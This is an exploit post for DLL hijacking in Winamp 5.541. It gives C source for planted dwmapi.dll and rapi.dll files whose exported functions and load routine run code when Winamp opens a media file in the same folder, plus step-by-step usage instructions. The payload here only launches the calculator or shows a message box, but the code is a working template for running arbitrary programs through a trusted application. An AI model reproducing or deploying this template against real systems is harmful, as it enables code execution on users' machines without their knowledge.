Winamp version 5.541 DLL hijacking exploit.
e46d5e03acd5f9b3261fa4a7969dcf6906bc99a9d7d03737c2eb9fa1259f64f3
/*
#Winamp v5.541 DLL Hijacking Exploit (dwmapi.dll ¡ rapi.dll )
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ All Dev-poinT members and my friends
#Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Tested on: Windows XP sp3
# " .aiff ¡ .amf ¡ .au ¡ .avr ¡ .far ¡ .flac ¡ .htk ¡ .iff ¡.it ¡ .m4a ¡.mat ¡ .mdz ¡ .midi
.miz ¡ .mod ¡ .mp1 ¡ .mp3 ¡.mtm ¡ .nsa ¡ .ogg ¡.okt ¡.paf ¡.ptm ¡ .s3m ¡.sd2 "
#####################
How TO use : Compile and rename to" dwmapi.dll ¡ rapi.dll ", create a file in the same dir with one of the following extensions.
check the result > Hack3d
#####################
#dwmapi.dll (code)
*/
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void DwmDefWindowProc() { evil(); }
DLLIMPORT void DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void DwmEnableComposition() { evil(); }
DLLIMPORT void DwmEnableMMCSS() { evil(); }
DLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void DwmGetColorizationColor() { evil(); }
DLLIMPORT void DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void DwmGetWindowAttribute() { evil(); }
DLLIMPORT void DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void DwmRegisterThumbnail() { evil(); }
DLLIMPORT void DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void DwmSetPresentParameters() { evil(); }
DLLIMPORT void DwmSetWindowAttribute() { evil(); }
DLLIMPORT void DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void DwmUpdateThumbnailProperties() { evil(); }
int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}
-----------------
# rapi.dll (code)
*/
#include "stdafx.h"
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}